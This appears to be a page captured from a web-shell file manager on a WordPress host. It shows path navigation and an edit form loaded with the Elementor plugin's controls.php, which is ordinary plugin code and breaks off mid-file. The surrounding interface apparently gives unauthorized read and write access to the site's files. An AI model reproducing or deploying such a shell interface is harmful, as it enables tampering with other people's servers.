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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2F'>elementor</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fincludes%2F'>includes</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fincludes%2Fmanagers%2F'>managers</a>/</p><hr><h3>✏️ Editing: controls.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
namespace Elementor;

use Elementor\Core\Frontend\Performance;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor controls manager.
 *
 * Elementor controls manager handler class is responsible for registering and
 * initializing all the supported controls, both regular controls and the group
 * controls.
 *
 * @since 1.0.0
 */
class Controls_Manager {

	/**
	 * Content tab.
	 */
	const TAB_CONTENT = &#039;content&#039;;

	/**
	 * Style tab.
	 */
	const TAB_STYLE = &#039;style&#039;;

	/**
	 * Advanced tab.
	 */
	const TAB_ADVANCED = &#039;advanced&#039;;

	/**
	 * Responsive tab.
	 */
	const TAB_RESPONSIVE = &#039;responsive&#039;;

	/**
	 * Layout tab.
	 */
	const TAB_LAYOUT = &#039;layout&#039;;

	/**
	 * Settings tab.
	 */
	const TAB_SETTINGS = &#039;settings&#039;;

	/**
	 * Text control.
	 */
	const TEXT = &#039;text&#039;;

	/**
	 * Number control.
	 */
	const NUMBER = &#039;number&#039;;

	/**
	 * Textarea control.
	 */
	const TEXTAREA = &#039;textarea&#039;;

	/**
	 * Select control.
	 */
	const SELECT = &#039;select&#039;;

	/**
	 * Switcher control.
	 */
	const SWITCHER = &#039;switcher&#039;;

	/**
	 * Button control.
	 */
	const BUTTON = &#039;button&#039;;

	/**
	 * Hidden control.
	 */
	const HIDDEN = &#039;hidden&#039;;

	/**
	 * Heading control.
	 */
	const HEADING = &#039;heading&#039;;

	/**
	 * Raw HTML control.
	 */
	const RAW_HTML = &#039;raw_html&#039;;

	/**
	 * Notice control.
	 */
	const NOTICE = &#039;notice&#039;;

	/**
	 * Deprecated Notice control.
	 */
	const DEPRECATED_NOTICE = &#039;deprecated_notice&#039;;

	/**
	 * Alert control.
	 */
	const ALERT = &#039;alert&#039;;

	/**
	 * Popover Toggle control.
	 */
	const POPOVER_TOGGLE = &#039;popover_toggle&#039;;

	/**
	 * Section control.
	 */
	const SECTION = &#039;section&#039;;

	/**
	 * Tab control.
	 */
	const TAB = &#039;tab&#039;;

	/**
	 * Tabs control.
	 */
	const TABS = &#039;tabs&#039;;

	/**
	 * Divider control.
	 */
	const DIVIDER = &#039;divider&#039;;

	/**
	 * Color control.
	 */
	const COLOR = &#039;color&#039;;

	/**
	 * Media control.
	 */
	const MEDIA = &#039;media&#039;;

	/**
	 * Slider control.
	 */
	const SLIDER = &#039;slider&#039;;

	/**
	 * Dimensions control.
	 */
	const DIMENSIONS = &#039;dimensions&#039;;

	/**
	 * Choose control.
	 */
	const CHOOSE = &#039;choose&#039;;

	/**
	 * Visual_Choice control.
	 */
	const VISUAL_CHOICE = &#039;visual_choice&#039;;

	/**
	 * WYSIWYG control.
	 */
	const WYSIWYG = &#039;wysiwyg&#039;;

	/**
	 * Code control.
	 */
	const CODE = &#039;code&#039;;

	/**
	 * Font control.
	 */
	const FONT = &#039;font&#039;;

	/**
	 * Image dimensions control.
	 */
	const IMAGE_DIMENSIONS = &#039;image_dimensions&#039;;

	/**
	 * WordPress widget control.
	 */
	const WP_WIDGET = &#039;wp_widget&#039;;

	/**
	 * URL control.
	 */
	const URL = &#039;url&#039;;

	/**
	 * Repeater control.
	 */
	const REPEATER = &#039;repeater&#039;;

	/**
	 * Icon control.
	 */
	const ICON = &#039;icon&#039;;

	/**
	 * Icons control.
	 */
	const ICONS = &#039;icons&#039;;

	/**
	 * Gallery control.
	 */
	const GALLERY = &#039;gallery&#039;;

	/**
	 * Structure control.
	 */
	const STRUCTURE = &#039;structure&#039;;

	/**
	 * Select2 control.
	 */
	const SELECT2 = &#039;select2&#039;;

	/**
	 * Date/Time control.
	 */
	const DATE_TIME = &#039;date_time&#039;;

	/**
	 * Box shadow control.
	 */
	const BOX_SHADOW = &#039;box_shadow&#039;;

	/**
	 * Text shadow control.
	 */
	const TEXT_SHADOW = &#039;text_shadow&#039;;

	/**
	 * Entrance animation control.
	 */
	const ANIMATION = &#039;animation&#039;;

	/**
	 * Hover animation control.
	 */
	const HOVER_ANIMATION = &#039;hover_animation&#039;;

	/**
	 * Exit animation control.
	 */
	const EXIT_ANIMATION = &#039;exit_animation&#039;;

	/**
	 * Gaps control.
	 */
	const GAPS = &#039;gaps&#039;;

	/**
	 * Controls.
	 *
	 * Holds the list of all the controls. Default is `null`.
	 *
	 * @since 1.0.0
	 * @access private
	 *
	 * @var Base_Control[]
	 */
	private $controls = null;

	/**
	 * Control groups.
	 *
	 * Holds the list of all the control groups. Default is an empty array.
	 *
	 * @since 1.0.0
	 * @access private
	 *
	 * @var Group_Control_Base[]
	 */
	private $control_groups = [];

	/**
	 * Control stacks.
	 *
	 * Holds the list of all the control stacks. Default is an empty array.
	 *
	 * @since 1.0.0
	 * @access private
	 *
	 * @var array
	 */
	private $stacks = [];

	/**
	 * Tabs.
	 *
	 * Holds the list of all the tabs.
	 *
	 * @since 1.0.0
	 * @access private
	 * @static
	 *
	 * @var array
	 */
	private static $tabs;

	/**
	 * Has stacks cache been cleared.
	 *
	 * Boolean flag used to determine whether the controls manager stack cache has been cleared once during the current runtime.
	 *
	 * @since 3.13.0
	 * @access private
	 * @static
	 *
	 * @var array
	 */
	private $has_stacks_cache_been_cleared = false;

	/**
	 * Init tabs.
	 *
	 * Initialize control tabs.
	 *
	 * @since 1.6.0
	 * @access private
	 * @static
	 */
	private static function init_tabs() {
		self::$tabs = [
			self::TAB_CONTENT =&gt; esc_html__( &#039;Content&#039;, &#039;elementor&#039; ),
			self::TAB_STYLE =&gt; esc_html__( &#039;Style&#039;, &#039;elementor&#039; ),
			self::TAB_ADVANCED =&gt; esc_html__( &#039;Advanced&#039;, &#039;elementor&#039; ),
			self::TAB_RESPONSIVE =&gt; esc_html__( &#039;Responsive&#039;, &#039;elementor&#039; ),
			self::TAB_LAYOUT =&gt; esc_html__( &#039;Layout&#039;, &#039;elementor&#039; ),
			self::TAB_SETTINGS =&gt; esc_html__( &#039;Settings&#039;, &#039;elementor&#039; ),
		];
	}

	/**
	 * Get tabs.
	 *
	 * Retrieve the tabs of the current control.
	 *
	 * @since 1.6.0
	 * @access public
	 * @static
	 *
	 * @return array Control tabs.
	 */
	public static function get_tabs() {
		if ( ! self::$tabs ) {
			self::init_tabs();
		}

		return self::$tabs;
	}

	/**
	 * Add tab.
	 *
	 * This method adds a new tab to the current control.
	 *
	 * @since 1.6.0
	 * @access public
	 * @static
	 *
	 * @param string $tab_name  Tab name.
	 * @param string $tab_label Tab label.
	 */
	public static function add_tab( $tab_name, $tab_label = &#039;&#039; ) {
		if ( ! self::$tabs ) {
			self::init_tabs();
		}

		if ( isset( self::$tabs[ $tab_name ] ) ) {
			return;
		}

		self::$tabs[ $tab_name ] = $tab_label;
	}

	public static function get_groups_names() {
		// Group name must use &quot;-&quot; instead of &quot;_&quot;
		return [
			&#039;background&#039;,
			&#039;border&#039;,
			&#039;typography&#039;,
			&#039;image-size&#039;,
			&#039;box-shadow&#039;,
			&#039;css-filter&#039;,
			&#039;text-shadow&#039;,
			&#039;flex-container&#039;,
			&#039;grid-container&#039;,
			&#039;flex-item&#039;,
			&#039;text-stroke&#039;,
		];
	}

	public static function get_controls_names() {
		return [
			self::TEXT,
			self::NUMBER,
			self::TEXTAREA,
			self::SELECT,
			self::SWITCHER,

			self::BUTTON,
			self::HIDDEN,
			self::HEADING,
			self::RAW_HTML,
			self::POPOVER_TOGGLE,
			self::SECTION,
			self::TAB,
			self::TABS,
			self::DIVIDER,
			self::DEPRECATED_NOTICE,
			self::ALERT,
			self::NOTICE,

			self::COLOR,
			self::MEDIA,
			self::SLIDER,
			self::DIMENSIONS,
			self::CHOOSE,
			self::VISUAL_CHOICE,
			self::WYSIWYG,
			self::CODE,
			self::FONT,
			self::IMAGE_DIMENSIONS,
			self::GAPS,

			self::WP_WIDGET,

			self::URL,
			self::REPEATER,
			self::ICON,
			self::ICONS,
			self::GALLERY,
			self::STRUCTURE,
			self::SELECT2,
			self::DATE_TIME,
			self::BOX_SHADOW,
			self::TEXT_SHADOW,
			self::ANIMATION,
			self::HOVER_ANIMATION,
			self::EXIT_ANIMATION,
		];
	}

	/**
	 * Register controls.
	 *
	 * This method creates a list of all the supported controls by requiring the
	 * control files and initializing each one of them.
	 *
	 * The list of supported controls includes the regular controls and the group
	 * controls.
	 *
	 * External developers can register new controls by hooking to the
	 * `elementor/controls/controls_registered` action.
	 *
	 * @since 3.1.0
	 * @access private
	 */
	private function register_controls() {
		$this-&gt;controls = [];

		foreach ( self::get_controls_names() as $control_id ) {
			$control_class_id = str_replace( &#039; &#039;, &#039;_&#039;, ucwords( str_replace( &#039;_&#039;, &#039; &#039;, $control_id ) ) );
			$class_name = __NAMESPACE__ . &#039;\Control_&#039; . $control_class_id;

			$this-&gt;register( new $class_name() );
		}

		// Group Controls
		foreach ( self::get_groups_names() as $group_name ) {
			$group_class_id = str_replace( &#039; &#039;, &#039;_&#039;, ucwords( str_replace( &#039;-&#039;, &#039; &#039;, $group_name ) ) );
			$class_name = __NAMESPACE__ . &#039;\Group_Control_&#039; . $group_class_id;

			$this-&gt;control_groups[ $group_name ] = new $class_name();
		}

		/**
		 * After controls registered.
		 *
		 * Fires after Elementor controls are registered.
		 *
		 * @since 1.0.0
		 * @deprecated 3.5.0 Use `elementor/controls/register` hook instead.
		 *
		 * @param Controls_Manager $this The controls manager.
		 */
		// TODO: Uncomment when Pro uses the new hook.
		// Plugin::$instance-&gt;modules_manager-&gt;get_modules( &#039;dev-tools&#039; )-&gt;deprecation-&gt;do_deprecated_action(
		// &#039;elementor/controls/controls_registered&#039;,
		// [ $this ],
		// &#039;3.5.0&#039;,
		// &#039;elementor/controls/register&#039;
		// );

		do_action( &#039;elementor/controls/controls_registered&#039;, $this );

		/**
		 * After controls registered.
		 *
		 * Fires after Elementor controls are registered.
		 *
		 * @since 3.5.0
		 *
		 * @param Controls_Manager $this The controls manager.
		 */
		do_action( &#039;elementor/controls/register&#039;, $this );
	}

	/**
	 * Register control.
	 *
	 * This method adds a new control to the controls list. It adds any given
	 * control to any given control instance.
	 *
	 * @since 1.0.0
	 * @access public
	 * @deprecated 3.5.0 Use `register()` method instead.
	 *
	 * @param string       $control_id       Control ID.
	 * @param Base_Control $control_instance Control instance, usually the
	 *                                       current instance.
	 */
	public function register_control( $control_id, Base_Control $control_instance ) {
		// TODO: Uncomment when Pro uses the new hook.
		// Plugin::$instance-&gt;modules_manager-&gt;get_modules( &#039;dev-tools&#039; )-&gt;deprecation-&gt;deprecated_function(
		// __METHOD__,
		// &#039;3.5.0&#039;,
		// &#039;register()&#039;
		// );

		$this-&gt;register( $control_instance, $control_id );
	}

	/**
	 * Register control.
	 *
	 * This method adds a new control to the controls list. It adds any given
	 * control to any given control instance.
	 *
	 * @since 3.5.0
	 * @access public
	 *
	 * @param Base_Control $control_instance Control instance, usually the current instance.
	 * @param string       $control_id       Control ID. Deprecated parameter.
	 *
	 * @return void
	 */
	public function register( Base_Control $control_instance, $control_id = null ) {

		// TODO: For BC. Remove in the future.
		if ( $control_id ) {
			Plugin::instance()-&gt;modules_manager-&gt;get_modules( &#039;dev-tools&#039; )-&gt;deprecation-&gt;deprecated_argument(
				&#039;$control_id&#039;, &#039;3.5.0&#039;
			);
		} else {
			$control_id = $control_instance-&gt;get_type();
		}

		$this-&gt;controls[ $control_id ] = $control_instance;
	}

	/**
	 * Unregister control.
	 *
	 * This method removes control from the controls list.
	 *
	 * @since 1.0.0
	 * @access public
	 * @deprecated 3.5.0 Use `unregister()` method instead.
	 *
	 * @param string $control_id Control ID.
	 *
	 * @return bool True if the control was removed, False otherwise.
	 */
	public function unregister_control( $control_id ) {
		Plugin::$instance-&gt;modules_manager-&gt;get_modules( &#039;dev-tools&#039; )-&gt;deprecation-&gt;deprecated_function(
			__METHOD__,
			&#039;3.5.0&#039;,
			&#039;unregister()&#039;
		);

		return $this-&gt;unregister( $control_id );
	}

	/**
	 * Unregister control.
	 *
	 * This method removes control from the controls list.
	 *
	 * @since 3.5.0
	 * @access public
	 *
	 * @param string $control_id Control ID.
	 *
	 * @return bool Whether the controls has been unregistered.
	 */
	public function unregister( $control_id ) {
		if ( ! isset( $this-&gt;controls[ $control_id ] ) ) {
			return false;
		}

		unset( $this-&gt;controls[ $control_id ] );

		return true;
	}

	/**
	 * Get controls.
	 *
	 * Retrieve the controls list from the current instance.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return Base_Control[] Controls list.
	 */
	public function get_controls() {
		if ( null === $this-&gt;controls ) {
			$this-&gt;register_controls();
		}

		return $this-&gt;controls;
	}

	/**
	 * Get control.
	 *
	 * Retrieve a specific control from the current controls instance.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param string $control_id Control ID.
	 *
	 * @return bool|Base_Control Control instance, or False otherwise.
	 */
	public function get_control( $control_id ) {
		$controls = $this-&gt;get_controls();

		return isset( $controls[ $control_id ] ) ? $controls[ $control_id ] : false;
	}

	/**
	 * Get controls data.
	 *
	 * Retrieve all the registered controls and all the data for each control.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return array {
	 *    Control data.
	 *
	 *    @type array $name Control data.
	 * }
	 */
	public function get_controls_data() {
		$controls_data = [];

		foreach ( $this-&gt;get_controls() as $name =&gt; $control ) {
			$controls_data[ $name ] = $control-&gt;get_settings();
		}

		return $controls_data;
	}

	/**
	 * Render controls.
	 *
	 * Generate the final HTML for all the registered controls using the element
	 * template.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function render_controls() {
		foreach ( $this-&gt;get_controls() as $control ) {
			$control-&gt;print_template();
		}
	}

	/**
	 * Get control groups.
	 *
	 * Retrieve a specific group for a given ID, or a list of all the control
	 * groups.
	 *
	 * If the given group ID is wrong, it will return `null`. When the ID valid,
	 * it will return the group control instance. When no ID was given, it will
	 * return all the control groups.
	 *
	 * @since 1.0.10
	 * @access public
	 *
	 * @param string $id Optional. Group ID. Default is null.
	 *
	 * @return null|Group_Control_Base|Group_Control_Base[]
	 */
	public function get_control_groups( $id = null ) {
		if ( $id ) {
			return isset( $this-&gt;control_groups[ $id ] ) ? $this-&gt;control_groups[ $id ] : null;
		}

		return $this-&gt;control_groups;
	}

	/**
	 * Add group control.
	 *
	 * This method adds a new group control to the control groups list. It adds
	 * any given group control to any given group control instance.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param string             $id       Group control ID.
	 * @param Group_Control_Base $instance Group control instance, usually the
	 *                                     current instance.
	 *
	 * @return Group_Control_Base Group control instance.
	 */
	public function add_group_control( $id, $instance ) {
		$this-&gt;control_groups[ $id ] = $instance;

		return $instance;
	}

	/**
	 * Enqueue control scripts and styles.
	 *
	 * Used to register and enqueue custom scripts and styles used by the control.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function enqueue_control_scripts() {
		foreach ( $this-&gt;get_controls() as $control ) {
			$control-&gt;enqueue();
		}
	}

	/**
	 * Open new stack.
	 *
	 * This method adds a new stack to the control stacks list. It adds any
	 * given stack to the current control instance.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param Controls_Stack $controls_stack Controls stack.
	 */
	public function open_stack( Controls_Stack $controls_stack ) {
		$stack_id = $controls_stack-&gt;get_unique_name();

		$this-&gt;stacks[ $stack_id ] = [
			&#039;tabs&#039; =&gt; [],
			&#039;controls&#039; =&gt; [],
			&#039;style_controls&#039; =&gt; [],
			&#039;responsive_control_duplication_mode&#039; =&gt; Plugin::$instance-&gt;breakpoints-&gt;get_responsive_control_duplication_mode(),
		];
	}

	/**
	 * Remove existing stack from the stacks cache
	 *
	 * Removes the stack of a passed instance from the Controls Manager&#039;s stacks cache.
	 *
	 * @param Controls_Stack $controls_stack
	 * @return void
	 */
	public function delete_stack( Controls_Stack $controls_stack ) {
		$stack_id = $controls_stack-&gt;get_unique_name();

		unset( $this-&gt;stacks[ $stack_id ] );
	}

	/**
	 * Add control to stack.
	 *
	 * This method adds a new control to the stack.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param Controls_Stack $element      Element stack.
	 * @param string         $control_id   Control ID.
	 * @param array          $control_data Control data.
	 * @param array          $options      Optional. Control additional options.
	 *                                     Default is an empty array.
	 *
	 * @return bool True if control added, False otherwise.
	 */
	public function add_control_to_stack( Controls_Stack $element, $control_id, $control_data, $options = [] ) {
		$default_options = [
			&#039;overwrite&#039; =&gt; false,
			&#039;index&#039; =&gt; null,
		];

		$control_type = &#039;controls&#039;;
		if ( Performance::should_optimize_controls() &amp;&amp; $this-&gt;is_style_control( $control_data ) ) {
			$control_type = &#039;style_controls&#039;;
		}

		$options = array_merge( $default_options, $options );

		$default_args = [
			&#039;type&#039; =&gt; self::TEXT,
			&#039;tab&#039; =&gt; self::TAB_CONTENT,
		];

		$control_data[&#039;name&#039;] = $control_id;

		$control_data = array_merge( $default_args, $control_data );

		$control_type_instance = $this-&gt;get_control( $control_data[&#039;type&#039;] );

		if ( ! $control_type_instance ) {
			_doing_it_wrong( sprintf( &#039;%1$s::%2$s&#039;, __CLASS__, __FUNCTION__ ), sprintf( &#039;Control type &quot;%s&quot; not found.&#039;, esc_html( $control_data[&#039;type&#039;] ) ), &#039;1.0.0&#039; );
			return false;
		}

		if ( $control_type_instance instanceof Has_Validation ) {
			try {
				$control_type_instance-&gt;validate( $control_data );
			} catch ( \Exception $e ) {
				_doing_it_wrong( sprintf( &#039;%1$s::%2$s&#039;, __CLASS__, __FUNCTION__ ), esc_html( $e-&gt;getMessage() ), &#039;3.23.0&#039; );
				return false;
			}
		}

		if ( $control_type_instance instanceof Base_Data_Control ) {
			$control_default_value = $control_type_instance-&gt;get_default_value();

			if ( is_array( $control_default_value ) ) {
				$control_data[&#039;default&#039;] = isset( $control_data[&#039;default&#039;] ) ? array_merge( $control_default_value, $control_data[&#039;default&#039;] ) : $control_default_value;
			} else {
				$control_data[&#039;default&#039;] = isset( $control_data[&#039;default&#039;] ) ? $control_data[&#039;default&#039;] : $control_default_value;
			}
		}

		$stack_id = $element-&gt;get_unique_name();

		if ( ! $options[&#039;overwrite&#039;] &amp;&amp; isset( $this-&gt;stacks[ $stack_id ][ $control_type ][ $control_id ] ) ) {
			_doing_it_wrong( sprintf( &#039;%1$s::%2$s&#039;, __CLASS__, __FUNCTION__ ), sprintf( &#039;Cannot redeclare control with same name &quot;%s&quot;.&#039;, esc_html( $control_id ) ), &#039;1.0.0&#039; );

			return false;
		}

		$tabs = self::get_tabs();

		if ( ! isset( $tabs[ $control_data[&#039;tab&#039;] ] ) ) {
			$control_data[&#039;tab&#039;] = $default_args[&#039;tab&#039;];
		}

		$this-&gt;stacks[ $stack_id ][&#039;tabs&#039;][ $control_data[&#039;tab&#039;] ] = $tabs[ $control_data[&#039;tab&#039;] ];

		$this-&gt;stacks[ $stack_id ][ $control_type ][ $control_id ] = $control_data;

		if ( null !== $options[&#039;index&#039;] ) {
			$controls = $this-&gt;stacks[ $stack_id ][ $control_type ];

			$controls_keys = array_keys( $controls );

			array_splice( $controls_keys, $options[&#039;index&#039;], 0, $control_id );

			$this-&gt;stacks[ $stack_id ][ $control_type ] = array_merge( array_flip( $controls_keys ), $controls );
		}

		return true;
	}

	/**
	 * Remove control from stack.
	 *
	 * This method removes a control a the stack.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param string       $stack_id   Stack ID.
	 * @param array|string $control_id The ID of the control to remove.
	 *
	 * @return bool|\WP_Error True if the stack was removed, False otherwise.
	 */
	public function remove_control_from_stack( $stack_id, $control_id ) {
		if ( is_array( $control_id ) ) {
			foreach ( $control_id as $id ) {
				$this-&gt;remove_control_from_stack( $stack_id, $id );
			}

			return true;
		}

		if ( empty( $this-&gt;stacks[ $stack_id ][&#039;controls&#039;][ $control_id ] ) ) {
			return new \WP_Error( &#039;Cannot remove not-exists control.&#039; );
		}

		unset( $this-&gt;stacks[ $stack_id ][&#039;controls&#039;][ $control_id ] );

		return true;
	}

	/**
	 * Has Stacks Cache Been Cleared.
	 *
	 * @since 3.13.0
	 * @access public
	 * @return bool True if the CSS requires to clear the controls stack cache, False otherwise.
	 */
	public function has_stacks_cache_been_cleared() {
		return $this-&gt;has_stacks_cache_been_cleared;
	}

	/**
	 * Clear stack.
	 * This method clears the stack.
	 *
	 * @since 3.13.0
	 * @access public
	 */
	public function clear_stack_cache() {
		$this-&gt;stacks = [];
		$this-&gt;has_stacks_cache_been_cleared = true;
	}

	/**
	 * Get control from stack.
	 *
	 * Retrieve a specific control for a given a specific stack.
	 *
	 * If the given control does not exist in the stack, or the stack does not
	 * exist, it will return `WP_Error`. Otherwise, it will retrieve the control
	 * from the stack.
	 *
	 * @since 1.1.0
	 * @access public
	 *
	 * @param string $stack_id   Stack ID.
	 * @param string $control_id Control ID.
	 *
	 * @return array|\WP_Error The control, or an error.
	 */
	public function get_control_from_stack( $stack_id, $control_id ) {
		$stack_data = $this-&gt;get_stacks( $stack_id );

		if ( ! empty( $stack_data[&#039;controls&#039;][ $control_id ] ) ) {
			return $stack_data[&#039;controls&#039;][ $control_id ];
		}

		if ( ! empty( $stack_data[&#039;style_controls&#039;][ $control_id ] ) ) {
			return $stack_data[&#039;style_controls&#039;][ $control_id ];
		}

		return new \WP_Error( &#039;Cannot get a not-exists control.&#039; );
	}

	/**
	 * Update control in stack.
	 *
	 * This method updates the control data for a given stack.
	 *
	 * @since 1.1.0
	 * @access public
	 *
	 * @param Controls_Stack $element      Element stack.
	 * @param string         $control_id   Control ID.
	 * @param array          $control_data Control data.
	 * @param array          $options      Optional. Control additional options.
	 *                                     Default is an empty array.
	 *
	 * @return bool True if control updated, False otherwise.
	 */
	public function update_control_in_stack( Controls_Stack $element, $control_id, $control_data, array $options = [] ) {
		$old_control_data = $this-&gt;get_control_from_stack( $element-&gt;get_unique_name(), $control_id );

		if ( is_wp_error( $old_control_data ) ) {
			return false;
		}

		if ( ! empty( $options[&#039;recursive&#039;] ) ) {
			$control_data = array_replace_recursive( $old_control_data, $control_data );
		} else {
			$control_data = array_merge( $old_control_data, $control_data );
		}

		return $this-&gt;add_control_to_stack( $element, $control_id, $control_data, [
			&#039;overwrite&#039; =&gt; true,
		] );
	}

	/**
	 * Get stacks.
	 *
	 * Retrieve a specific stack for the list of stacks.
	 *
	 * If the given stack is wrong, it will return `null`. When the stack valid,
	 * it will return the the specific stack. When no stack was given, it will
	 * return all the stacks.
	 *
	 * @since 1.7.1
	 * @access public
	 *
	 * @param string $stack_id Optional. stack ID. Default is null.
	 *
	 * @return null|array A list of stacks.
	 */
	public function get_stacks( $stack_id = null ) {
		if ( $stack_id ) {
			if ( isset( $this-&gt;stacks[ $stack_id ] ) ) {
				return $this-&gt;stacks[ $stack_id ];
			}

			return null;
		}

		return $this-&gt;stacks;
	}

	/**
	 * Get element stack.
	 *
	 * Retrieve a specific stack for the list of stacks from the current instance.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param Controls_Stack $controls_stack  Controls stack.
	 *
	 * @return null|array Stack data if it exists, `null` otherwise.
	 */
	public function get_element_stack( Controls_Stack $controls_stack ) {
		$stack_id = $controls_stack-&gt;get_unique_name();

		if ( ! isset( $this-&gt;stacks[ $stack_id ] ) ) {
			return null;
		}

		if ( $this-&gt;should_clean_stack( $this-&gt;stacks[ $stack_id ] ) ) {
			$this-&gt;delete_stack( $controls_stack );
			return null;
		}

		return $this-&gt;stacks[ $stack_id ];
	}

	/**
	 * Add custom CSS controls.
	 *
	 * This method adds a new control for the &quot;Custom CSS&quot; feature. The free
	 * version of elementor uses this method to display an upgrade message to
	 * Elementor Pro.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param Controls_Stack $controls_stack .
	 * @param string         $tab
	 * @param array          $additional_messages
	 */
	public function add_custom_css_controls( Controls_Stack $controls_stack, $tab = self::TAB_ADVANCED, $additional_messages = [] ) {
		$controls_stack-&gt;start_controls_section(
			&#039;section_custom_css_pro&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Custom CSS&#039;, &#039;elementor&#039; ),
				&#039;tab&#039; =&gt; $tab,
			]
		);

		$messages = [
			esc_html__( &#039;Custom CSS lets you add CSS code to any widget, and see it render live right in the editor.&#039;, &#039;elementor&#039; ),
		];

		if ( $additional_messages ) {
			$messages = array_merge( $messages, $additional_messages );
		}

		$controls_stack-&gt;add_control(
			&#039;custom_css_pro&#039;,
			[
				&#039;type&#039; =&gt; self::RAW_HTML,
				&#039;raw&#039; =&gt; $this-&gt;get_teaser_template( [
					&#039;title&#039; =&gt; esc_html__( &#039;Meet Our Custom CSS&#039;, &#039;elementor&#039; ),
					&#039;messages&#039; =&gt; $messages,
					&#039;link&#039; =&gt; &#039;https://go.elementor.com/go-pro-custom-css/&#039;,
				] ),
			]
		);

		$controls_stack-&gt;end_controls_section();
	}

	/**
	 * Add Page Transitions controls.
	 *
	 * This method adds a new control for the &quot;Page Transitions&quot; feature. The Core
	 * version of elementor uses this method to display an upgrade message to
	 * Elementor Pro.
	 *
	 * @param Controls_Stack $controls_stack .
	 * @param string         $tab
	 * @param array          $additional_messages
	 *
	 * @return void
	 */
	public function add_page_transitions_controls( Controls_Stack $controls_stack, $tab = self::TAB_ADVANCED, $additional_messages = [] ) {
		$controls_stack-&gt;start_controls_section(
			&#039;section_page_transitions_teaser&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Page Transitions&#039;, &#039;elementor&#039; ),
				&#039;tab&#039; =&gt; $tab,
			]
		);

		$messages = [
			esc_html__( &#039;Page Transitions let you style entrance and exit animations between pages as well as display loader until your page assets load.&#039;, &#039;elementor&#039; ),
		];

		if ( $additional_messages ) {
			$messages = array_merge( $messages, $additional_messages );
		}

		$controls_stack-&gt;add_control(
			&#039;page_transitions_teaser&#039;,
			[
				&#039;type&#039; =&gt; self::RAW_HTML,
				&#039;raw&#039; =&gt; $this-&gt;get_teaser_template( [
					&#039;title&#039; =&gt; esc_html__( &#039;Meet Page Transitions&#039;, &#039;elementor&#039; ),
					&#039;messages&#039; =&gt; $messages,
					&#039;link&#039; =&gt; &#039;https://go.elementor.com/go-pro-page-transitions/&#039;,
				] ),
			]
		);

		$controls_stack-&gt;end_controls_section();
	}

	public function get_teaser_template( $texts ) {
		ob_start();
		?&gt;
		&lt;div class=&quot;elementor-nerd-box&quot;&gt;
			&lt;img class=&quot;elementor-nerd-box-icon&quot; src=&quot;&lt;?php echo esc_url( ELEMENTOR_ASSETS_URL . &#039;images/go-pro.svg&#039; ); ?&gt;&quot; loading=&quot;lazy&quot; alt=&quot;&lt;?php echo esc_attr__( &#039;Upgrade&#039;, &#039;elementor&#039; ); ?&gt;&quot; /&gt;
			&lt;div class=&quot;elementor-nerd-box-title&quot;&gt;&lt;?php Utils::print_unescaped_internal_string( $texts[&#039;title&#039;] ); ?&gt;&lt;/div&gt;
			&lt;?php foreach ( $texts[&#039;messages&#039;] as $message ) { ?&gt;
				&lt;div class=&quot;elementor-nerd-box-message&quot;&gt;&lt;?php Utils::print_unescaped_internal_string( $message ); ?&gt;&lt;/div&gt;
			&lt;?php }

			// Show the upgrade button only if the user doesn&#039;t have Pro.
			if ( $texts[&#039;link&#039;] &amp;&amp; ! Utils::has_pro() ) { ?&gt;
				&lt;a class=&quot;elementor-button go-pro&quot; href=&quot;&lt;?php echo esc_url( ( $texts[&#039;link&#039;] ) ); ?&gt;&quot; target=&quot;_blank&quot;&gt;
					&lt;?php echo esc_html__( &#039;Upgrade Now&#039;, &#039;elementor&#039; ); ?&gt;
				&lt;/a&gt;
			&lt;?php } ?&gt;
		&lt;/div&gt;
		&lt;?php

		return ob_get_clean();
	}

	/**
	 * Get Responsive Control Device Suffix
	 *
	 * @param array $control
	 * @return string $device suffix
	 */
	public static function get_responsive_control_device_suffix( array $control ): string {
		if ( ! empty( $control[&#039;responsive&#039;][&#039;max&#039;] ) ) {
			$query_device = $control[&#039;responsive&#039;][&#039;max&#039;];
		} elseif ( ! empty( $control[&#039;responsive&#039;][&#039;min&#039;] ) ) {
			$query_device = $control[&#039;responsive&#039;][&#039;min&#039;];
		} else {
			return &#039;&#039;;
		}

		return &#039;desktop&#039; === $query_device ? &#039;&#039; : &#039;_&#039; . $query_device;
	}

	/**
	 * Add custom attributes controls.
	 *
	 * This method adds a new control for the &quot;Custom Attributes&quot; feature. The free
	 * version of elementor uses this method to display an upgrade message to
